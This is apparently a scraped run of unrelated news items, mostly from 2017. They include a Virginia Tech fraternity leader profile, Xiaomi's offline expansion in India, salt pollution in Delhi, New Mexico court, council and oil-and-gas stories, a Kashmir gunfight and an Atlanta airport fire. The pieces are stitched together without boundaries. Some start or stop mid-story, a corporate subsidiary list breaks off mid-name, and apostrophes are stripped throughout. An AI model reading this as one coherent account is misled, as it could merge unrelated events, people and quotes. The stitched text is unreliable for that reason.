When you try to lead everyone in the same way at once, leaders often fail, Ginther said. But when you cater your leadership to the needs of the people you lead, leaders are more successful. These are the skills that I am going to carry with me all through my life.



Byron Hughes, director of Fraternity and Sorority Life at Virginia Tech, has had the pleasure of knowing Ginther for the duration of his college career as advisor to Ginthers fraternity. The two have worked closely together throughout Ginthers presidencies, and Hughes has witnessed first-hand Ginthers strength as a leader.



Chase believes that fraternities should be a value to Virginia Tech and society, and he has led the way within our IFC fraternities to have real and challenging conversations about who belongs in the community and who doesnt, said Hughes. This courageous move is not often taken by IFC fraternity leaders throughout the country because it means disappointing people. He has maintained the respect of IFC fraternity leaders because they believe he makes decisions that are in the best interest of their experience and of Virginia Tech.



Fraternity and sorority life offers a unique pathway to forge lifelong friendships and find home here at Virginia Tech, and for Ginther, its also the means by which he prepared for a life of courageous leadership. Its not surprising that what hell miss most about college are living in community and facing challenges.



During my time here, I felt there was a new challenge every day to conquer, and I looked forward to that, said Ginther. The Virginia Tech community is something I do not think I will ever experience anywhere else.



His ambitions are truly based in leaving the community better than he found it, said Hughes.



Although feeling a bit anxious and strange graduating earlier than many of his friends, Ginther is ready to write the next chapter of his story and eager for his future as a data scientist at Nielsen in Tampa, Florida. Hell assume his new role in late January, and while hell miss his collegiate home, hes looking forward to escaping the Virginia winter.



Written by Tiffany Woodall


Nearly two dozen initiatives will benefit from the generosity of donors who supported projects highlighted this semester on Jump, Virginia Techs crowdfunding platform.

More than 1,300 donors provided nearly $120,000, combined, to the 23 causes featured during the fall 2017 term. It was a substantial increase from the roughly $21,000 raised during the spring semester of 2017, when Jump debuted with four projects.

Jump allows students and faculty to maximize their fundraising efforts by providing resources and support to campaigns that are approved by a crowdfunding project selection committee. The generosity of this falls Jump donors will help to back a wide range of research, education, and public-service projects.

Thanks to 80 donations, VT Engage, the universitys service-learning and civic-engagement center led the by the Division of Student Affairs, exceeded its goal by raising $3,514 for the Campus Kitchen program, in which student volunteers redirect quality, unserved food from Dining Services to local hunger relief agencies.
By PTI: Kolkata, Dec 18 (PTI) Chinese smartphone major Xiaomi today said sales from the mainstay online channel will further decline to about 70 per cent going ahead, as it boosts offline presence in India.

Nearly 80 per cent of the companys sales still come from the online route, but the share has come down from about 95 per cent in less than a year.

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The share of online sales will reduce to 70 per cent in the near future, Xiaomi India head, Online Sales, Raghu Reddy said.

Xiaomi has turned aggressive in the offline space in the last one year, having presence in 15 cities with over 1,000 sales points mostly through franchisees.

There are a total of 14 exclusive company-owned stores.

The smartphone maker will enter more cities after consolidating its position in the existing ones, he said.

Reddy added that the company has a market share of 50.8 per cent in online smartphone sales in the Q3 period of 2017. PTI BSM RBT

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Roberto Gabbioneta S.r.l., Ghh-Rand Schraubenkompressoren Gmbh, HASKEL EUROPE LTD., HASKEL HOLDINGS UK LIMITED, HASKEL INTERNATIONAL LLC, Hamworthy Belliss & Morcom, Haskel France SAS, Haskel Sistemas de Fluidos Espana S.R.L., Hibon Inc., Highspeed Newco LLC, Hingerose Limited, ILMVAC (UK) Ltd., ILS Innovative Labor Systeme, ILS Inovative Laborsysteme GmbH, INGERSOLL RAND ITS JAPAN LTD., INGERSOLL-RAND (CHANG ZHOU) TOOLS CO. LTD., INGERSOLL-RAND (CHINA) INDUSTRIAL EQUIPMENT MANUFACTURING CO. LTD., INGERSOLL-RAND CHINA LLC, INGERSOLL-RAND COMERCIO E SERVICOS DE MAQUINAS E EQUIPAMENTOS INDUSTRIAIS LTDA., INGERSOLL-RAND DE PUERTO RICO INC., INGERSOLL-RAND INDUSTRIAL COMPANY B.V., INGERSOLL-RAND INDUSTRIAL SP. Z O.O., INGERSOLL-RAND INDUSTRIAL U.S. INC., INGERSOLL-RAND PHILIPPINES INC., INGERSOLL-RAND SPAIN S.A., INGERSOLL-RAND U.S. HOLDCO INC., IR HPS Holdco. Inc., ITO Emniyet, Ingersoll Rand Cyprus Investments Ltd., Ingersoll Rand Finance LLC, Ingersoll Rand Global Investments LLC, Ingersoll Rand Global Ventures LLC, Ingersoll Rand Hong Kong Investments Limited, Ingersoll Rand Inc., Ingersoll Rand Investments (SG) Pte. Ltd., Ingersoll Rand Investments B.V., Ingersoll Rand Schweiz Investments Gmbh, Ingersoll Rand Technology R&D (Shanghai) Co. Ltd., Ingersoll-Rand (Australia) Ltd., Ingersoll-Rand (China) Investment Company Limited, Ingersoll-Rand (Guilin) Tools Company Limited, Ingersoll-Rand (Hong Kong) Holding Company Limited, Ingersoll-Rand (India) Limited, Ingersoll-Rand Ab, Ingersoll-Rand Air Solutions Hibon Sarl, Ingersoll-Rand Beteiligungs Und Grundstucksverwaltungs Gmbh, Ingersoll-Rand Colombia S.A.S., Ingersoll-Rand Company Limited (Uk), Ingersoll-Rand Company South Africa (Pty) Limited, Ingersoll-Rand Cz S.R.O., Ingersoll-Rand De Mexico S.A. De C.V., Ingersoll-Rand Equipements De Production S.A.S., Ingersoll-Rand Holdings Limited, Ingersoll-Rand Industrial Ireland Limited, Ingersoll-Rand International (India) Private Limited, Ingersoll-Rand International Holding Llc, Ingersoll-Rand Italia S.R.L., Ingersoll-Rand Italiana Manufacturing S.R.L., Ingersoll-Rand Korea Holding Llc, Ingersoll-Rand Korea Limited, Ingersoll-Rand Lux Investments II S.A R.I., Ingersoll-Rand Lux Investments S.A R.L., Ingersoll-Rand Luxembourg Industrial Company S.A R.L., Ingersoll-Rand Machinery (Shanghai) Company Limited, Ingersoll-Rand Malaysia Co. Sdn. Bhd., Ingersoll-Rand S.A. De C.V., Ingersoll-Rand Services And Trading Limited Liability Company, Ingersoll-Rand Services Company, Ingersoll-Rand Services Limited, Ingersoll-Rand Singapore Enterprises Pte. Ltd., Ingersoll-Rand South East Asia (Pte.) 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By PTI: Study

New Delhi, Dec 19 (PTI) Air-borne particles from the salt mines of Afghanistan are pushing up the levels of air pollutants in Delhi, a team of scientists has found.

Initially, the Central Pollution Control Board (CPCB) team had thought that the wind might be carrying sea salt from either the Bay of Bengal or the Arabian Sea. Subsequently, the source of the pollutants was traced to Afghanistan.

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A study by the CPCB scientists, including its air laboratory chief Dipankar Saha, has found that about 11 per cent of PM2.5 in Delhi are salt particles.

However, since the study was undertaken during the winter months, the scientists ruled out the possibility of the particles being carried from the sea as the wind direction was generally from the north or north-west during this period.

"We undertook a study, using the trajectory models of the US governments National Oceanic and Atmospheric Administration. That is when we found that the salt particles were coming from those areas of Afghanistan, which have large salt pans," Saha said.

The scientists also found the presence of metals such as chromium and copper in the citys air, which Saha said were being emitted by the electroplating industries in Haryana.

There were no safe standards for these metals yet, Saha said, adding that exposure to chromium could trigger health complications.

PM2.5, which are essentially ultrafine particulates 30 times finer than the human hair, are mainly composed of sulphates, nitrates, ammonia, sodium chloride, black carbon, mineral dust and water, according to the World Health Organisation (WHO).

The study once again establishes the role of external sources in the citys air being toxic.

Last month, the Centre-run pollution monitoring agency, SAFAR, had identified a West Asian dust-storm as the chief trigger behind the recent smog episode in Delhi-NCR.

On November 8, the contribution of the dust-storm to the citys air pollutants was 40 per cent, eclipsing the emissions from stubble-burning, which stood at 25 per cent, the Pune- based System of Air Quality And Weather Forecasting and Research (SAFAR) had said. PTI SBR RC

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Sen. John McCains unexpected surgery on July 14 made headlines because it delayed a vote on the U.S. Senates health care bill. It also turned attention to a health problem that is common although not well understood: blood clots on the brain.



Blood clots are common in the 50+ population, and it is important to know how dangerous they are and to recognize warning signs.

The word 'clot' can be confusing, says Vikram Nayar, a neurosurgeon at MedStar Georgetown University Hospital in Washington, D.C. In the most common cases there isnt a blockage, he says, but rather bleeding outside the blood vessels. The danger is that the clots can put pressure on the brain, causing problems from disorientation to, in severe cases, coma or death.



The Arizona Republican's clot reportedly was found during a routine exam, but clots in or on the brain can be confirmed only through an MRI or CT scan.



In most cases a subdural hematoma, which most experts believe is the type of clot the 80-year-old McCain suffered, is diagnosed after a patient shows some of the typical symptoms. These include headaches, seizures, confusion, weakness involving one side of the body, and problems with speech. A stroke  a blood flow blockage within the brain that begins to kill brain cells  can cause similar symptoms. But not all clots lead to stroke.



The older we get, the higher the risk for a hematoma, Nayar explains, because our brains shrink with time. This causes the veins that bridge the brain to the skull to be more susceptible to tearing. The most minimal trauma can lead to a tear, he adds, even a shaking of the head without actually hitting the head. So a minor fall could cause it. In younger people it is typically caused by severe head injuries.



Anyone at risk should see a doctor immediately if symptoms appear, Nayar says. He advises people to take extra care to avoid falls, and to make sure a doctor is carefully monitoring the dosage if they are taking blood thinners.



McCain's doctors report that he is likely to make a full recovery after rest at home.
The penalty could have been worse. The daughter faced up to 10 years in prison, and prosecutors and her defense attorney recommended an 18-month sentence. U.S. District Judge John A. Mendez imposed a lighter sentence while noting that Carter-Alexander had no criminal record and accepted responsibility immediately.

This is an individual who but for this crime has done a number of admirable things in her life, the judge said, according to the Bee.

But Carter-Alexander did take action to keep the checks flowing, the Bees examination of court records indicated. That included filing a change-of-address form along with annual reports on her mothers status, without mentioning that she had died.

At any point, Carter-Alexander could have come clean and stopped the payments to her deceased mother, a sentencing memo says.

The money reportedly was used to pay for credit card bills, car loans, airline tickets, hotel stays, jewelry, groceries and other goods.
Three charged in connection to missing Aberdeen man

As the Aberdeen Police Department continues to investigate the disappearance of Simon Deng in Aberdeen, three people now face charges.
By PTI: By Sajjad Hussain

Islamabad, Dec 19 (PTI) Pakistans ousted premier Nawaz Sharif today appeared before an accountability court here to face the corruption charges filed against him by the National Accountability Bureau in the Panama Papers scandal.

Sharif along with his daughter Maryam Sharif and son-in- law Muhammad Safdar directly went to the Accountability Court here after arriving from Lahore in a private jet.

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Sharif, 67, came back from London on Sunday where he had gone with his daughter Maryam to see his ailing wife who is undergoing treatment for throat cancer there.

Judge Muhammad Bashir will conduct the trial proceedings and record testimonies of more prosecution witnesses.

NAB is expected to present three more witnesses in the court to have their statements recorded. So far, eight witnesses have testified against the Sharif family in three references.

The three references against the Sharif family are related to the Al-Azizia Company and Hill Metal Establishment, Flagship Investment Ltd and the Avenfield (London) properties.

Sharif and his sons, Hassan and Hussain, have been named in all three NAB references, while Maryam and husband Safdar have been named only in the Avenfield reference.

Last month, Sharif was indicted in all three cases while his daughter Maryam and her husband Muhammad Safdar, co- accused with Sharif in only one case, were also indicted along with Sharif.

Sharif?s sons Hassan and Hussian have failed to appear in the court despite repeated summons. It promoted the court to separate their cases.

Heavy security arrangements were made around the court premises.

The cases are based on July 28 verdict by the Supreme Court which disqualified Sharif and ordered to launch three corruption cases against him and his family, and one case against finance minister Ishaq Dar. PTI SH UZM

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BERNALILLO, N.M.  Sandoval County commissioners have rejected a proposed ordinance to regulate oil and gas development across thousands of square miles of unincorporated lands in northwestern New Mexico.

The Santa Fe New Mexican reports that the commission will consider asking the countys planning commission to overhaul the 10-page controversial measure, which was rejected early Friday morning following an hours-long meeting.

Residents and tribal representatives said the proposed regulations wouldnt protect water sources and the environment and would limit public input on future development projects.

Energy companies and industry representatives have argued that the commission had developed a fair and balanced ordinance that would fill a regulatory void and provide for economic opportunities.

The ordinance would apply to the countys unincorporated lands and would not affect state or federal regulations already in place.
Democratic gubernatorial candidate Jeff Apodaca on Monday called for a congressional ethics investigation into whether U.S. Rep. Michelle Lujan Grisham, one of his rivals in next years primary election, discriminated against a former transgender intern.

Lujan Grisham, a three-term congresswoman, has denied any claims of discrimination and says she didnt even know the intern was transgender until after she had left the office.

However, Apodaca said the allegation should be taken seriously and called on top House Democrat Nancy Pelosi to launch a formal investigation into Lujan Grishams actions.

Harassment and discrimination are totally unacceptable and should not be tolerated in any workplace, much less in a U.S. congressional office, Apodaca, an Albuquerque media executive, said in a statement.

Riley Del Rey, the former intern, recently went public with claims that she was discriminated against and was fired from her Congressional Hispanic Caucus Institute internship two years ago.

Specifically, she has said she believes she was fired after a then-congressman outed her to Lujan Grisham. The congressman, former U.S. Rep. Mike Honda, D-Calif., has confirmed that Del Rey disclosed her transgender status to him at a Capitol Hill reception, but has denied conveying the information to Lujan Grisham or anyone at the Congressional Hispanic Caucus Institute.

Del Rey, a Lovington native, apologized for her unprofessional behavior in a separation letter, but says she was pressured to write the letter after an institute official expressed displeasure with her initial draft.

The call for a congressional investigation comes amid recent scrutiny of sexual misconduct claims against politicians, media personalities and other public figures.

Lujan Grisham herself recently called for state Sen. Michael Padilla, an Albuquerque Democrat, to withdraw from next years lieutenant governor race over decade-old sexual harassment allegations.

Padilla eventually did drop out of the contest and he was stripped of his legislative leadership position by Senate Democrats in a closed-door caucus meeting Saturday.

Meanwhile, Lujan Grisham and Apodaca are two of the four Democratic candidates seeking the partys 2018 gubernatorial nomination, with Lujan Grisham so far outraising her opponents by a significant margin.

The other Democratic candidates in the race are state Sen. Joseph Cervantes of Las Cruces and alcohol awareness advocate Peter DeBenedittis of Santa Fe.
LAS CRUCES  A Dona Ana County grand jury has indicted the suspects who were arrested last month after a high-speed chase that resulted in the death of a retired Las Cruces police officer.

Daniel Lowell, 34, and Trista Schlaefli, 32, both of Pueblo, Colo., were indicted Thursday on dozens of charges in connection to the Nov. 27 death of 61-year-old J.R. Stewart and a related crime spree, according to indictments filed on Friday.

Stewart, who retired from the Las Cruces Police Department in 2014 after 35 years as a patrol officer, was riding a motorcycle when authorities say he was hit by a stolen SUV fleeing police.

Investigators say Lowell and Schlaefli, both fugitives wanted in Colorado, were driving the SUV that crashed into Stewart, who was pronounced dead at a Las Cruces hospital.

Lowell is facing 46 charges, including various counts of vehicular homicide, armed robbery, child abuse, aggravated fleeing law enforcement and others. He also faces more than a dozen conspiracy charges.

Schlaefli is facing a total of 33 similar charges, including vehicular homicide.

According to the indictments, Lowell and Schlaefli fled from the Border Patrol checkpoint on Interstate 10 west of Las Cruces in a pickup that had a license plate reported stolen out of Colorado. Agents had directed the vehicle to secondary inspection, but instead it fled west, sparking the first of two high-speed chases with multiple law enforcement agencies.

During the initial pursuit, Lowell and Schlaefli allegedly carjacked an SUV from a family of four at gunpoint, according to court records.

The SUV was then spotted in Las Cruces around 5:15 p.m. and a second vehicle pursuit ensued, court documents state.

Lowells indictment alleges he drove recklessly at high speeds during the pursuit, hitting a parked vehicle on Solano Drive and later striking Stewart who was riding a motorcycle on Las Alturas Drive.

Afterward, Lowell and Schlaefli allegedly tried to carjack a second vehicle from two males, but were detained by authorities after a brief foot pursuit.

During questioning with police, Lowell admitted he was driving the SUV that struck Stewart, and said he and Schlaefli been smoking meth and heroin before the crash, according to the indictment.

Earlier this month, District Attorney Mark DAntonio characterized the incident as a drug-fueled Bonnie and Clyde rampage.

Lowell and Schlaefli have been scheduled to appear for arraignment on Dec. 26 in 3rd Judicial District Court. They remain in custody at the Dona Ana County Detention Center on no-bond holds. No trial dates have been scheduled.

https://abqjournal.com/1108340/suspects-in-retired-officers-death-indicted-on-combined-79-charges.html

Suspects in retired officers death indicted on combined 79 charges

Couple faces dozens of charges, including killing retired officer
SANTA FE  A jury has awarded a former high-ranking employee of Zia Credit Union $1.5 million in a lawsuit filed over a land deal gone bad.

John Day, an attorney for former Zia Senior Vice President Edwin Ortiz, said the jury on Saturday awarded Ortiz $800,000 in actual damages and $700,000 in punitive damages. The jury made it clear they were angry at the credit union management   Day said.

Ross Crown, an attorney for Zia, said Monday that we certainly dont think that the verdict reflects the evidence in the case and that Zia would seek to have the verdict overturned. He also said Zia wanted to emphasize that the case involves events from more than eight years ago.

Ortizs lawsuit from 2015 says that Zia, with locations in Los Alamos and Espanola, was considering an expansion into the Pojoaque Valley when in 2007, a competitor offered to buy 1.3 cares that Ortiz had inherited, for a branch site. Ortiz reported the offer to his superiors, and Zia eventually bought the property for $1.625 million. Zia demolished structures on the land, including a four-unit apartment building and home of Ortizs late mother.

But when Larry Knoll took over as Zias president, Knoll accused Ortiz, a 20-year Zia employee, of deceiving the credit union board about the propertys value and his ownership of the site, says the suit. Knoll fired Ortiz in May 2012 to appease regulators despite the fact the Zia board was aware at all times that the property belonged to Mr. Ortiz and of the two appraisals on the land, the suit maintains.

Zia made counterclaims that said Ortiz should have had no part in the insider transaction. Ortiz played an improper role in pushing the transaction while misrepresenting several details, the counterclaims allege. The unfavorable terms of the transaction and the insider nature of the land purchase agreement attracted scrutiny from Zias regulators, said the credit unions filing, and lack of regulator approval led Zia to exercise its right to terminate the land purchase agreement.

Ortiz had failed to appropriately disclose an appraisal that said the property, including buildings, was worth only $500,000, Zia said. Another former Zia senior VP who was a close acquaintance of Ortiz negotiated the land deal for the credit union, and Ortiz took advantage of the relationship to strike unfavorable terms for Zia, the counterclaims maintain.
Gunfight broke out between the security forces and militants in Kashmir's Shopian district last night.

By India Today Web Desk: Two militants were killed and an army jawan injured in the encounter in Shopian district last night.

While the bodies of the two militants have been discovered, one militant is still out lose, police officials told news agency ANI.

#Visuals Two terrorists killed in Shopian encounter in Jammu and Kashmir. Search operation underway. ( Visuals deferred by unspecified time) pic.twitter.com/CAT9ZY4qvd- ANI (@ANI) December 19, 2017

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"Bodies of two terrorists recovered but third one is still alive and is present in a house, he started firing again a few minutes back," said Inspector general of police, Muneer.

A gunfght broke out between militants and security forces in Wanpora area of South Kashmir's Shopian last night.

According to sources, a joint team of 44RR and SOG launched a cordon-and- search operation at Batmuraan following specific inputs about the presence of some militants.

The search operation turned into an encounter after militants opened fire on security forces.

--- ENDS ---
Copyright  2017 Albuquerque Journal

SANTA FE  New Mexico students would have to apply to at least one college  or have other firm plans in place  to graduate from high school, under a bill introduced by the top Republican in the state House of Representatives.

House GOP floor leader Nate Gentry of Albuquerque said Monday that the legislation is based on behavioral economics and would likely lead to an increase in the number of New Mexico students pursuing postsecondary education.

Specifically, he cited a similar requirement in San Marcos, Texas, that led to a jump among high school students going on to college of 11 percentage points.

This is intended to be a politically easy thing to move the needle, Gentry told the Journal.

Total enrollment in New Mexicos public higher education institutions has declined in each of the past six years  from about 155,000 students in 2010 to roughly 134,000 students last year  per state Higher Education Department data.

Thats likely at least partly due to an aging state population and a cut in the value of the state legislative lottery scholarship, which covers about 60 percent of tuition costs for students who qualify for the assistance.

In addition, the states high school graduation rate  71 percent  was second-worst in the nation in 2016, according to the U.S. Department of Education. Only the District of Columbia posted a lower graduation rate.

The bill proposed by Gentry for the coming 30-day legislative session, House Bill 23, would make application to at least one college a high school graduation requirement for students entering the 11th grade, starting in the 2018-19 school year.

The requirement could also be met if a graduating student commits to attending a trade school or entering a branch of the military.

However, Gentry acknowledged that the bill in its current form doesnt address the potential cost burden of submitting college applications. For instance, the University of New Mexico currently charges a $25 application fee for freshman or transfer students.

To address the cost issue, Gentry said he would study the possibility of having application fees waived for certain in-state schools.

Other jurisdictions have also pursued similar requirements for high school diplomas.

Earlier this year, Chicago Mayor Rahm Emanuel proposed requiring proof of acceptance into college or the military, or a trade or gap year program, for graduating high school seniors.

If you change expectations, its not hard for kids to adapt, Emanuel said, according to a Chicago Tribune report.

Meanwhile, Gentry has also proposed legislation for the coming legislative session that would require that parents of high school students be notified by text message of student absences and coming tests.

An Albuquerque Public Schools spokeswoman said Monday that the district already has a system in place that allows schools to notify families of attendance, tests and emergency situations by automated phone calls and email.

Requiring that those communications be sent via text message could incur costs for certain families, APS spokesman Johanna King said.

The 30-day session starts Jan. 16 at the state Capitol in Santa Fe.
WINNETKA, Ill.  When New Trier High School student Ben Matejka got his results from the ACT, he was pleased with his score of 27, comfortably above the national average of about 21.

But when Ben told his friends, some of their responses took him aback. He got condolences.

My score was much higher than the national average, but New Trier is not a typical high school, said Matejka, 18, a recent graduate, who this fall headed off to start his freshman year at the University of Denver.

That attitude  that students at elite public high schools such as New Trier must do more than just good on college admissions tests  is merely one example of the way kids are told there is only one pathway to success. Many students at high-performing schools, such as Stevenson High School in Lake County and Naperville North High School, feel they need to get fantastic grades, ace their standardized tests, participate in plenty of extra-curricular activities and sports, and then go on to elite, big-name universities.

But going to an Ivy League school, or even a four-year university, isnt achievable  or desirable  for every student, experts say, and they argue that the mindset that anything else would be failure causes real harm. Thinking this way can create a barrier for students, they claim, blocking them from seeking nontraditional educational and career pathways, and leading to damaging levels of stress and anxiety.

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Meanwhile, tech school instructors, counselors and scientists are trying to open minds to the idea that there are many ways to fulfill potential in children. For some, its encouraging kids to pursue a career as an auto mechanic instead of getting a masters degree in physics. For others, its as simple as persuading parents that their C students can lead happy, productive lives.

Patrick McGrath, a clinical psychologist, has made a career of talking to kids and their parents about anxiety, stress and school. He said he often begins presentations to parents by asking, How many of you are OK with your child being average?

No one raises their hand, he said.

These are your typical suburban parents, said McGrath, the director of Amita Health Alexian Brothers Center for Anxiety and Obsessive Compulsive Disorders in Hoffman Estates, Ill. I tell them, If youre wondering why theres so much pressure on kids, there it is. 

While McGrath said multiple factors can trigger anxiety, unrealistic expectations and a rigid idea of what defines success are common culprits.

I had the parents of a seventh-grader once tell me, How will she get into Harvard Medical School if she doesnt get an A in every one of her classes?  McGrath recalled.

While some high school students are well-suited for a rigorous, science-and-math-heavy curriculum, other teens suffer from anxiety when they find themselves stumbling on the traditional, college preparatory path.

Experts say that while these teens are often as bright as their peers on the academic honor roll, their talents and learning styles are a better match for alternative educational pathways that can reduce stress in the short term, and lead to rewarding and well-paying careers down the road.

Lianne Musser, a college coordinator at Lyons Township High School, which has campuses in La Grange and Western Springs, Ill., said that instead of automatically applying to four-year universities, more students should be open to other options.

Right now, everyone is expected to go to college, Musser said. The expectation is the manager at the Starbucks has to have a college degree.

While Musser said all students need some post-secondary education, depending on the teens interests and abilities, they might want to consider an apprenticeship or training at a technical school.

For some, that is a better fit, Musser said. Students are somehow convinced that if they dont get a college degree, theyll never make any money.

But Musser said that is a myth as there are a plethora of good-paying jobs in the culinary arts, the automotive industry, electronics or other trades that do not require a four-year degree.

Students at Highland Park High School were among the first in the nation to participate in FUSE, an educational program developed by Northwestern Universitys School of Education and Social Policy.

The FUSE program, which is also now offered at several Chicago and suburban middle schools, features interactive, hands-on learning in STEAM (science, technology, engineering, arts and math) and aims to help students develop skills needed for the high-tech job market.

STEAM education embraces individualized learning

The perfect college may not be the best

Some students say they only gained perspective after leaving high school that their anxiety about getting into the right college or doing well enough on college entrance exams might have been misplaced.

Isabella Mayer, a junior at Cornell University in New Yorks School of Hotel Administration, said the environment at her high school, Hinsdale Central, was competitive. Mayer said some of her stress was self-imposed because her two older brothers were incredibly successful. While neither her teachers nor her parents compared her to her siblings, she still had the impression that she was expected to do as well as her brothers at school.

It was just this all-encompassing (feeling) to be as good as what I thought other people expected, Mayer said. My closest friends in high school all felt similar. It seemed like we were all stressed at the same time.

While Mayer said she does not have the answer to alleviating academic anxiety in high school students, she lamented a culture that traditionally places top students on a very public pedestal.

For example, Mayer said if students get a 36 on their ACT or are named National Merit Semifinalists, their photographs are displayed on a wall at the high school.

They are literally putting a spotlight on them. They are being rewarded in a fame-like way  not everybody needs to see that, she said.

For the students who dont score as well, it can be kind of a bummer, Mayer said.
SANTA FE  A judge is set to hear arguments on whether statements a young woman reportedly made to friends and counselors alleging sex crimes by her father can be used at his trial after her death.

Geoffrey Stewart, 61, was indicted last year on five counts of criminal sexual penetration, one count of sexual criminal contact of a minor and one count of bribery of a witness for crimes alleged by his daughter, Alicia Stewart. Friends and a high school counselor say Alicia told them her father sexually abused her as a little girl.

On Oct. 2, Alicia passed away from an epileptic seizure in her college dorm room in Baltimore at age 18. Stewarts lawyer, Ray Twohig, then filed an emergency motion to dismiss the charges against Geoffrey Stewart, arguing that with his daughters passing, Stewart couldnt exercise his constitutional right to confront his accuser. A hearing on that motion was set for Monday.

Monday morning, Twohig filed a document in Santa Fe District Court raising other issues. He asked for a statement of facts on the specifics of the charges against Stewart and for Judge Mary Marlowe Sommer to rule if evidence about Alicias alleged past statements is admissible.

Were the (alleged victim) to testify at trial, the details of her prior statements would possibly have been a sufficient guide to provide notice. That is no longer the case. Due to the death of the alleged victim, Defendant now moves for a statement of facts, Twohig wrote.

At Mondays hearing, prosecutor Kevin Nault asked Marlowe Sommer for about 60 days to conduct additional interviews with people Alicia reportedly told about the sexual assaults. He said it comes down to whether what Alicia confided in others is admissible under hearsay exceptions. A motions hearing now is set for Feb. 19.

Alicia went to a counselor at the New Mexico School for the Arts in Santa Fe in February 2015 and told her that her father raped her several times between ages of 3 and 7. Stewart was indicted a year later following a State Police investigation.

A couple of Alicias friends went through Alicias bedroom in Santa Fe after she died to collect keepsakes and found an unsigned note that apologized for sexual assaults. One friend told police that Alicia told her the note had been written by her father, and State Police conducted additional investigation. It seems to me that its not something he wrote, Twohig said in court Monday.

Twohig has maintained Stewarts innocence. Stewart is the owner of the Crystal Dragon jewelry shop in Madrid. Alicia was a talented artist whose work had been sold in another gallery since she was 13.
Albuquerque city councilors voted unanimously on Monday night to approve a cruising task force to explore options and make recommendations to promote responsible cruising in Albuquerque.

The resolution now goes to Mayor Tim Keller for consideration.

The measure was sponsored by Councilors Klarissa Pena and Isaac Benton, both of whom expressed appreciation for the car culture that exists in Albuquerque and the lowrider and classic car clubs that promote it.

Benton said he thinks its important that the city protect residents and businesses Downtown  where much of the cruising takes place  while protecting the culture. He said the way to do that is to figure out a way to stop the people causing trouble.

The city currently has a Cruising on Public Streets Ordinance on the books that attempts to give police officers the ability to clamp down on cruising, calling it a threat to the public health, safety, and welfare through congestion created by repetitive, unnecessary driving of motor vehicles.

Pena took issue with the current ordinance, saying cruising and cars are an important part of Albuquerques culture and that even the Smithsonian has recognized that.

Dozens of people showed up to the council meeting to show support for formation of the task force.

Cruising is not a crime, its a culture, said Lorenzo Otero.

The 10-member task force would be charged with exploring specific forms of behavior among cruisers that are acceptable and those that shouldnt be tolerated within city limits. It would also make recommendations on ways to encourage responsible cruising and discourage irresponsible cruising. The recommendations to the mayor and council would be due no later than April 1.

The task force would be made up of three merchant representatives and three car club representatives appointed by the council, all of whom are required to have knowledge and interest in cruising. The other four spots would be filled by city staff from the police, municipal development, planning and council services departments.

The resolution asserts that the task force would be a fact finding and recommending body, not a final policy making body, and, as such, wouldnt be subject to the New Mexico Open Meetings Act.

Weve been bounced all over this town, said Nelson Gallegos, a 48-year-old who serves as a neighborhood association president and owns a classic car. Were thankful to be given the opportunity to enjoy that lifestyle and keep it going.

In other business, the council voted to approve an ordinance that would make loitering on the Albuquerque Rapid Transit platforms illegal. The ordinance would also make it illegal for anyone to smoke on the platforms or for individuals to use ART without paying the fare. Violations would of the ordinance would be a misdemeanor punishable by fine.

That proposed ordinance will also go to Keller for consideration.
Copyright  2017 Albuquerque Journal

The Sandoval County Commission appears to have given in to overwhelming grass-roots opposition in its decision to drop an oil and gas ordinance, at least for now.

In a surprise move, the commission voted 4-1 to reject the proposed ordinance, opposed by many community and environmental groups.

An overflow crowd packed the commissions 112-seat chamber on Thursday night, spilling into the building lobby and bogging down the meeting for hours as opponents lined up to testify against the measure. Such heated opposition apparently swayed some commissioners who previously supported the legislation, according to both backers and opponents.

There were just so many people lined up to comment, the vast majority of them against the ordinance, said Miya King Flaherty, public lands fellow with the Sierra Clubs Rio Grande Chapter. That included reserved seating for pueblo governors, who strongly objected to the countys lack of consultation with them on the ordinance. The commissioners were really called out at the meeting.

New Mexico Oil and Gas Association spokesman Robert McEntyre said commissioners caved to the opposition.

The commission chose to crater to some pretty unreasonable demands from groups that want to eliminate oil and gas development in New Mexico, McEntyre said. Environmental groups have succeeded in stonewalling the process.

The proposed legislation would have regulated oil and gas activities on unincorporated land in the county for the first time, potentially speeding the approval process for new industry activities in southeastern areas of Sandoval County that operators have generally ignored until now. But opponents criticized the ordinances lack of any special protections against damage to water, air and land, as well as limits against public input on future industry development.

Loud overflow crowds had showed up at previous meetings since the summer. Until now, however, commissioners had remained unswayed, voting 4-1 in September to move forward with a final vote on an initial draft of the ordinance written by the countys Planning and Zoning Commission.

And in November, they voted 4-1 to move forward with a couple of amendments to the original draft that would have required closer scrutiny, with public notice and hearings when any company applied to operate in densely populated zones of the county.

But on Friday, only one commissioner, Chairman David Chapman, continued to support the legislation. All others rejected both the initial planning and zoning proposal, as well as the amendments approved in November, taking many off guard.

I was totally surprised, Flaherty said. Weve had hundreds of people in overflow crowds at past meetings, and we led major phone call, email and letter campaigns. But throughout it all, until now the commission had remained steadfast about pushing forward with the ordinance.

Commissioner David Heil, who had proposed the amendments approved in November, ended up voting against his own proposals. During the commission meeting, Heil said he has become more concerned since November about potential effects of industry activity on local water supplies, according to the Rio Rancho Observer.

When I first proposed these amendments, I was thinking I was helping to solve a problem, Heil said. But since then I have done considerable learning about the aquifer and the Rio Grande rift, etc.  so at this point, I think Im going to have to vote no. 

Chapman said he was disappointed that fellow commissioners may have been influenced by the crowd of opponents.

The room was overwhelmingly filled with environmentalists that well never satisfy because they want to shut the industry down, Chapman said. The whole intent all along has been to craft an ordinance to provide a layer of local accountability and regulation that doesnt exist for an industry that has already been operating here for decades.

Oil and gas activity has been widespread for decades in the northwestern part of the county, which includes part of the prolific San Juan Basin. The county ordinance would have regulated new activities in more populous zones in the southeast, where little activity has taken place.

With the current ordinance proposals voted down, commissioners agreed on Friday to consider sending the legislation back to the Planning and Zoning Commission for a rewrite when that commission meets in January. Opponents see that as an opportunity to push for more environmental protections, but some commissioners may balk at starting over so soon.

Commissioner Jay Block said hed rather wait for the results of a forthcoming New Mexico Tech study that will assess potential oil and natural gas resources in the county and map aquifer distribution and depth to understand the effects of modern drilling on groundwater. The commission paid the university $62,000 for the study, which is due to be completed in mid-2018.

With the whole thing dead for now, Id rather not do anything until we get that study, Block said. Lets let the dust settle until we see what the study says and then figure out what to do.
ATLANTA  The FBI is part of the probe into what caused a fire that knocked out power to the worlds busiest airport in Atlanta, but an agency spokesman said Tuesday there was no sign of anything connected to terrorism.

Theres no indication at this point of anything nefarious, FBI spokesman Kevin Rowson said.

The federal Bureau of Alcohol, Tobacco, Firearms and Explosives has also been involved in the investigation, Georgia Power spokesman Craig Bell said.

